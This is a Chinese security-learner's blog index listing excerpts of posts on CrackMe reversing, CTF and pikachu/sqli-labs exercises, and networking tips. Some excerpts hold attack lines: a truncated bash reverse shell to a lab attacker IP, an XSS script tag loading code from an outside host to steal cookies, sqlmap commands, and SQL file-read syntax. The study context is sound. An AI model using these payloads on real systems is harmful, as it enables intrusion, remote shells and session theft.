自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(50)
  • 收藏
  • 关注

转载 【转】VMware网络连接模式—桥接、NAT以及仅主机模式的详细介绍和区别(软件指南针)

在使用VMware Workstation(以下简称:VMware)创建虚拟机的过程中,配置虚拟机的网络连接是非常重要的一环,当我们为虚拟机配置网络连接时,我们可以看到如下图所示的几种网络连接模式:桥接模式、NAT模式、仅主机模式、自定义网络连接模式。那么这几种网络连接模式都各自有什么主要用途,它们之间又有哪些区别呢?磨刀不误砍柴工,为了更好地使用虚拟机,了解这几种连接模式的主要用途以及它们之间的区别是非常有必要的。在这里,我们就以下面的网络连接示意图为例来进行相关介绍。在VMware中,虚拟机的网络连接主

2022-06-08 21:25:06 2472

原创 【逆向入门】 CrackMe160-005 分析思路

CrackMe160-005这道题难度严重超标了。。纯小白的我呕心沥血才算勉强搞明白了,并且也学到不少东西,不多说废话,来看题爆破思路养成好习惯,爆破流程第一步,用exeinfo打开看看文件是否加壳并且使用的什么语言可以看出有UPX的壳,那么我们直接使用UPX脱壳软件就可以产生一个新的,已经脱壳完成的exe了,原来的exe已经在后面加上了.bak后缀,已经是备份文件了,这里我们打开生成的exe这诡异的三字经,阴间的黑白配色,名字里的层层设防。。。一切看起来都那么“和蔼”既然直接爆破的话,

2022-05-05 23:51:47 401 2

原创 【逆向入门】 CrackMe160-004 分析思路

CrackMe160-004爆破思路养成个好习惯,打开文件之前先用exeinfo检查一下加壳/使用语言的情况,如果没有加壳就可以直接搜索,并且也可以知道使用的什么语言,可以用专门的软件去爆破这里我们直接用Exeinfo打开,如图,没有加壳,使用的是Delphi不知道什么是Delphi?百度如下:提取关键字:是一个集成开发环境(IDE)、使用的语言是Object Pascal,虽然不知道是什么,但是之前遇到的都是VB,总之不一样就是了,而且这个现在已经基本不适用了,了解一下就可以(其实我也不

2022-04-28 17:44:39 397

原创 【逆向入门】 CrackMe160-003 分析思路

CrackMe160-003爆破思路输入字符会报错哦,并不是电脑环境的问题同001、002,这里不做介绍序列生成因为是第一次遇到浮点数相关的,以前对这些知识的了解比较少,所以在流程中会夹杂一些基础知识基本思路002也讲过了,都是首先找到输入的Name产生的最终Serial,然后一步步分析是怎么产生的就可以了这里我输入的是1111,而最终产生的可以通过一步步执行得到是1066822,下面介绍是如何得到的这里还是和002一样,首先获取长度,然后长度*15B38,再加上首字母的ANSI

2022-04-26 20:45:11 673

原创 【逆向入门】 CrackMe160-002 分析思路

CrackMe160-002爆破思路同001,从调用堆栈找到关键函数,进入稍微向上翻一下即可看到字符串(字符串前面的L说明该字符串是由Unicode编码)在转储中右键->十六进制->拓展ASCII 即可查看Unicode有点偏题了。。那么按照001的思路这里可以同样的爆破,就不赘述了,把重头戏还是放在序列生成比较好序列生成老样子,这里断点打到判断之前,不过并没有发现类似cmp这样的指令,于是乎我考虑断点再段前面一些00402310 | 55

2022-04-24 15:16:28 498

原创 【逆向入门】 CrackMe160-001 分析思路

CrackMe160-001写在前面:这篇文章主要是从逆向小白的视角来分析,可能(肯定)有点笨,但是会比较详细的记录和分析。分析思路对于一个文件如何去crack,我认为思路是比操作更重要的,至少有个方向,不然看着满屏的代码头疼。。观察软件的界面上面的按钮、输入框和弹出的窗口一般(暂时是这样)都有文字,可以在模块中搜索,快速定位。以下是搜索字符串的方法Ollydbg : 鼠标右键会进入如图所示的页面(很黑客帝国。。)虽然不能查找但是这里似乎是把所有字符串都列出来了x64bdg :

2022-04-23 10:29:29 833

转载 【转】Linux之bash反弹shell原理浅析

    环境 攻击机:kali            ip:192.168.25.144 靶    机:centos      ip:192.168.25.142   过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp...

2021-11-04 20:37:35 2123 1

转载 【转】Git的简单介绍与.git文件导致源码泄露

在一道CTF 文章目录 什么是Git集中式vs分布式工作区和暂存区 学习.git 文件导致源码泄露原理简要介绍git的目录结构如何去利用 ?如何修复.git泄露利用工具GitHack使用方法工作流程 CTF中的几种git泄露攻防世界-lottery 什么是Git Git是目前世界上最先...

2021-10-28 15:19:11 438

转载 【转】反弹Shell,看这一篇就够了

前言在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了。反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。正向连接假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。反向连接那么为什么要用反弹shell呢

2021-10-26 16:40:51 26777 1

转载 【转】解决VMware16在虚拟机Windows7下安装VMware tools问题

1.基础信息VMware Workstation 版本:16.1.1 build-17801498 虚拟机操作系统:Windows 7 2.问题1:无法安装VMware Tools问题描述: Windows7虚拟机简易安装完成后,“安装VMware Tools”选项为灰色,无法点击安装。解决方法: 关闭虚拟机Windows7,查看虚拟机设置,将软盘“移除”掉。再次进入虚拟机Windows7,“安装VMware Tools”恢复正常。3.问题2:安装过程提示驱动签名问题

2021-10-24 13:17:02 1861

原创 CTF学习记录 i春秋 《从0到1:CTFer成长之路》文件上传

21.10.19 第二次开始学习CTF 感觉很有收获 至少有让自己忙起来了的感觉 感觉有一些学习状态了 打算重新记录一下学习笔记!加油 我会坚持下去的!题目代码首先附上题目的代码段(不完整) show_source(__FILE__);}else{ $file = $_FILES['file']; if(!$file){ exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/

2021-10-21 11:05:57 4161

转载 【转】快捷方式固定到磁

Win10的开始菜单中的磁贴功能比较不错,可以在不清理桌面上其他软件的情况下直接唤醒需要的应用。但是比较麻烦的是一些应用或快捷方式并不能直接固定到上面。后来发现所有Windows菜单中的程序都可以直接固定,所以想到了如下的方法。(1)如下目录保存了开始菜单的图标内容C:\ProgramData\Microsoft\Windows\Start Menu\Programs把想要的快捷方式,如cygwin的快捷方式图标复制到此目录下,然后在系统菜单就可以找到该项目了。(2)然后选择“固定到开始屏幕”

2021-10-18 10:28:23 265

转载 ssl证书详解及HTTPS通讯方式

SSL证书原理讲解一直以来都对数字证书的签发,以及信任等事情一知半解。总算有个闲适的周末来总结和深入一下相关的知识。CA:CA(Certificate Authority)是证书的签发机构,它是负责管理和签发证书的第三方机构,是受到广泛信任的机构。一般在我们的电脑中,浏览器里,或者手机里都会内置一批这样的受信机构的根证书。证书信任链:比如我是CA机构我签发了一封证书 我这份证书是信任B证书的另外B证书又信任了其他的C证书…那么这条链条下去的都可以信任。所以一旦CA机构的根证书不可信了,那么所有由他

2021-05-23 21:15:30 324 2

转载 【转】SQL自定义函数function

用户定义自定义函数像内置函数一样返回标量值,也可以将结果集用表格变量返回。sql函数必须有返回值。ps:函数看成一个处理某些数据的功能,因有返回值,则在代码使用中,需要一个处理过的数据。可直接调用函数处理数据,返回数据给代码使用。标量函数:返回一个标量值。表格值函数{内联表格值函数、多表格值函数}:返回行集(即返回多个值)标量函数和表格值函数的区别在于 返回是标量值(单个数字或者单个数据),还是表格值(多个数据)1、标量函数create funetion 函数名(参数)return 返回

2021-02-04 11:01:20 2426

转载 【转】基于SQL中SET与SELECT赋值的区别详解

1、SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值,如下:代码如下:SELECT @VAR1=‘Y’,@VAR2=‘N’– 而SET要达到同样的效果,需要:SET @VAR1=‘Y’SET @VAR2=‘N’/*说到这个,SQL内置的变量:@@ERROR 和 @@ROWCOUNT必须要在一句SQL语句中捕获。如果用set分两句来获取它们,将获取不完整,这时就应该用select来获取值。*/2、表达式返回多个值时,用SET将会出错,而SELECT将取最后一个值

2021-02-04 10:05:51 1435

转载 【转】计算机网络之域名、主机名、IP地址和URL

本文为转载 原文链接为:https://blog.csdn.net/weixin_45437521/article/details/109037537域名域名(英语:Domain Name),又称网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。由于IP地址具有不方便记忆并且不能容易地看出地址组织的名称和性质(IP地址就是地址,但是你看着IP地址的时候,你只看到一串数字,你看不到这个IP地址对应的主机在哪里)等缺点

2021-01-29 12:47:58 4424

转载 【转】windows10文件夹或文件已在另一程序中打开,无法删除和修改解决

我们在对文件或文件夹进行删除、移动、重命名等操作时,系统可能提示“操作无法完成,因为其中的文件夹已在另一程序中打开,请关闭该文件或文件夹,然后重试。”,遇到这种情况我们应该怎么办呢?请看下文。1.在搜索处输入“任务管理器”,双击打开2.进入任务管理器后,在其上方点击【性能】选项卡。进入性能选项卡之后,在页面的左下角点击【打开资源监视器】。3.进入资源监视器页面后,在页面上方的菜单栏中点击CPU选项卡。4.进入到CPU的页面后,在页面中部位置找到“关联的句柄”,然后在其后面的搜索栏中输入你刚才要进

2020-11-16 22:27:12 3497

转载 【转】使用git命令从github上clone项目

首先创建本地仓库(实际上就是创建一个文件夹,放项目代码),然后cd进文件夹,初始化空的git仓库注意:这里不初始化也是可以clone的然后git clone url(url表示项目网址)然后就可以了,如果中途中断clone,文件夹不会显示任何文件。注,可以鼠标右键选择git push进入窗口...

2020-11-14 19:36:43 466

原创 kali2020的root账户的密码是...

如题,今天想装一个kali试一下,然后按照教程安装完毕之后发现——居然登陆不了root账户!mad,然后上网查了一下,步骤为:1、安装时候会要求你自己设置一个普通用户,例如user,密码1232、先用这个账户登录Kali,然后在终端输入:sudo passwd3、此时输入的密码即为root的密码,注销退出4、用root和刚设置的密码登录,即可我直接惊呆!...

2020-11-14 12:54:44 3512 5

原创 初见 chpikachu Over Permission

简介如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。因此,在在权限管理中应该遵守:1.使用最小权限原则对用户进行赋权;2.使用合理(严格)的权限校验规则;3

2020-08-19 17:05:32 136

原创 pikachu rce远程代码执行漏洞初见

简介RCE(remote command/code execute)概述RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而,如果,设计者在完成该功能时,没有做严

2020-08-12 12:37:39 476 1

原创 小白初见pikachu file include 文件包含漏洞

简介File Inclusion(文件包含漏洞)概述文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如在PHP中,提供了: include(),include_once() require(),require_once()这些文件包含函数,这些函数在代码设计中被经常使用到。 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变

2020-08-11 16:39:05 451

原创 csrf 的get和post方式的利用

CSRF的简单介绍引用一下pikachu的官方描述:CSRF(跨站请求伪造)概述Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。这里列举一个场景解释一下,希望能够帮

2020-08-10 16:08:04 6366

原创 Use of undefined constant MYSQL_ASSOC - assumed ‘MYSQL_ASSOC‘的解决方法

在使用pikachu的时候发现一点问题,好像是由php版本较高导致的不兼容,如图:在这里我们打开这个路径,找到第70行,把MYSQL_ASSOC改成MYSQLI_ASSOC,保存文件,刷新网页。就可以啦原因大概是这个(从别的地方看到的):在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改为MYSQLI_ASSOC,意思是mysqli的方式提取数组,而不再是mysql 。(原因:mysql_fetch_arrayhan函数转为mysqli_fetch_array,参

2020-08-10 08:25:35 4707 4

转载 【转】XSS获取cookie的一种手段

以往只是知道xss是用来弹窗的,但是作为一种危险的漏洞,它到底有什么危害呢,今天我见识了一下,感觉很强,于是在这转载一下。原文:https://www.cnblogs.com/chyingp/archive/2013/06/06/zcool-xss.html首先分析了下站酷的页面表现神马的,发现它是将用户输入脚本直接输出到页面,那就好办了,果断输入如下内容:<script src="http://saintcoder.duapp.com/joke/joke.js"></script&

2020-08-09 10:45:35 285

原创 小白初见PHP反序列化漏洞

这里是一个PHP都不熟悉的小白同学,预习一下PHP反序列化首先看下这个class是声明一个类S,public模式的变量test用new运算符来创立对象s接着用序列化函数处理对象s输出如下 O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值那么反序列化呢就是这

2020-08-08 16:56:24 184

原创 小白XSS入门笔记

XSS分为三种基本类型。储存型:把恶意代码注入到后台数据库进行保存,其他用户访问就会出现问题。比如说发帖,木马邮件这种,你点开之后就会出问题。反射型:把恶意代码注入到后台数据库进行查询等操作,并将错误内容返回给前端DOM型:把恶意代码注入到前端,并将错误内容返回给前端(没有经过后端)...

2020-08-04 10:02:53 272

原创 sql注入 小白入门学习笔记(九)sqlmap的使用

首先这里给出一个比较基本的sqlmap.py -u http://192.168.1.103/sqli/Less-1/?id=1 --dbs --batch说明一下,一般来说“ - ”代表的是目标,“ – ”代表的是操作。-u:目标url (ps:这里是get请求,所以目标url记得带上后面的参数,即?id=1)–dbs:爆出全部数据库–batch:全部使用默认选项然后得到如图然后我们想要爆出security里面的表sqlmap.py -u http://192.168.1.103/s

2020-07-28 16:25:05 229

转载 【转】路径中“./”、“../”、“/”代表的含义

“./”:代表目前所在的目录。" . ./"代表上一层目录。“/”:代表根目录。举个栗子:在读取文件时,路径的写法有如下方式1、文件在当前目录(以图像文件为例,当前项目文件为中心) "./1.jpg" 或 "1.jpg"2、文件在上层目录(1)在上层目录下"../1.jpg"(2)在上层目录下的一个Image文件夹下 "../Image/1.jpg"(3)在上上层目录下 "../../1.jpg"3、文件在下一层目录(Image1文件夹) "./Image1/1

2020-07-27 15:33:23 1945

原创 sql注入 小白入门学习笔记(八)

这里总结几种可以进行注入的地方。也就是常说的 基于insert / update /delete 的注入首先一个个介绍一下INSERT INTO table_name ( field1, field2,…fieldN ) VALUES ( value1,value2,…valueN );UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause];DELETE FROM table_name [WHERE Cl

2020-07-20 20:00:41 100

原创 pikachu token防爆破? wp

首先先看一下token验证的基本机制1、当客户端第一次请求时,发送用户信息至服务器(用户名、密码),服务器对用户信息使用HS256算法及密钥进行签名,再将这个签名和数据一起作为Token一起返回给客户端2、服务器不保存Token,客户端保存Token(比如放在 Cookie 里或者 Local Storage 里)3、当客户端再次发送请求时,在请求信息中将Token一起发给服务器4、服务器用同样的HS256算法和同样的密钥,对数据再进行一次签名,和客户端返回的Token的签名进行比较,如果验证成功

2020-07-19 23:21:14 503

转载 【转】burp suite intruder模块详解

原文:https://blog.csdn.net/u011781521/article/details/54772795/一、简介Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。你可以使用 Burp Intruder 方便地执行许多任务,包括枚举标识符,获取有用数据,漏洞模糊测试。合适的攻击类型取决于应用程序的情况,可能包括:缺陷测试:SQL 注入,跨站点脚本,缓冲区溢出,路径遍历;暴力攻击认

2020-07-19 22:57:31 294

原创 【转】关于Token不那么详细的解释

原文链接:https://blog.csdn.net/qq_39314932/article/details/88356747传统身份验证的方法:HTTP 是一种没有状态的协议,也就是它并不知道是谁是访问应用。这里我们把用户看成是客户端,客户端使用用户名还有密码通过了身份验证,不过下回这个客户端再发送请求时候,还得再验证一下。解决的方法就是,当用户请求登录的时候,如果没有问题,我们在服务端生成一条记录,这个记录里可以说明一下登录的用户是谁,然后把这条记录的 ID 号发送给客户端,客户端收到以后把这个 I

2020-07-19 14:06:57 1357

转载 【转】渗透测试-验证码的爆破与绕过

转载:https://blog.csdn.net/weixin_39190897/article/details/86539542【验证码机制原理】客户端发起请求->服务端响应并创建一个新的SessionID同时生成随机验证码,将验证码和SessionID一并返回给客户端->客户端提交验证码连同SessionID给服务端->服务端验证验证码同时销毁当前会话,返回给客户端结果。【客户端可能存在的安全问题】1、有的网站验证码由本地js生成仅仅在本地用js验证。可以在本地禁用js,用bu

2020-07-18 11:27:07 456

原创 sql注入 小白入门学习笔记(七)

在sqli33这一节中,用户所输入的 ’ 和 " 都会在前面加上一个反斜杠 \ 进行转义,目的大概是想限制用户输入单引号或者双引号,阻止用户试图闭合输入的操作。这里提供了一种解决思路:(大前提,PHP和MYSQL使用GBK编码)输入%DF’首先会在php中被函数加上反斜杠,即%DF’然后全部转换成url编码,即%DF %5C %27 (其实中间没有空格,此处为方便理解)而%DF%5C为一个GBK字符(汉字“縗”)那么整体为" 縗’ "按照php的弱数据类型比较规则,这个"縗"直接就没有了,而

2020-07-17 21:11:39 125

原创 sql注入 小白入门学习笔记(六)

学习了利用函数updatexml报错的方法进行注入。在这里首先介绍updatexml函数的用法。UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据然后给出我们报错所使用的语句:

2020-07-10 21:09:24 252

原创 sql注入 小白入门学习笔记(五)

时隔多年,总算更新了嘻嘻。这里学习了4中绕过手段,大概都是结合起来一起使用的。大小写绕过双写绕过编码绕过内联注释绕过大小写绕过:因为sql对大小写不敏感的关系,在屏蔽关键字的时候可以尝试切换大小写输入。如:order by->OrDeR By双写绕过:屏蔽关键字可能采用的是识别关键字并转化为 ‘’ (空),那么这个时候可以考虑到这种特性,利用它。如order by->ordorder byer by,被替换之后就成了 order by编码绕过:把原字母转换成url编码内

2020-07-09 13:27:17 130

原创 sql注入 小白入门学习笔记(四)

对于这种post请求,我们不方便直接在浏览器地址栏进行注入,当然也可以利用hackbar等插件,但是最好还是使用burp suite抓包到转发器进行注入如图所示,我们要进行注入的话还是首先要测试诸如点,就在passwd的值后面加’或者\之类的,和之前的注入操作基本相似。然后这里有一个万能密码就,虽然你密码输的不一定对,但是我 or 1=1 就一定对了如图就可以看到这边结果已经是登录成功了...

2020-06-11 15:01:58 294

转载 【转】Mysql基于报错注入之floor(rand(0)*2)报错原理探究

原文写的很清楚很详细,这里给出原文链接:https://www.freebuf.com/column/235496.html一、简述floor报错注入是利用 select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错。实际利用中通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,就实现了注入结果与报错信息回显的注入方式。具体利用本文不做阐述,本文重点探究该语句报错的原因,要理解

2020-06-10 17:27:55 3631 6

原创 sql注入 小白入门学习笔记(三)

主要是学习了读写文件的方法。读取文件:load_file(“C:\xx\xx.xx”)注意这里都要两个反斜杠,就因为这两个反斜杠,我以为是数据库的问题,卸载了xampp,装了PHP study。发现这个问题是使用另外一个语句:load data infile “C:\xx\xx.xx”在路径错误的时候会显示完整路径,然后我才发现问题原来是斜杠。当然,在使用这些语句是有有前提的:权限足够高,全局变量(global_secure_file)不为NULL在设置的时候直接加入语句:global_s

2020-06-09 17:04:53 142

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除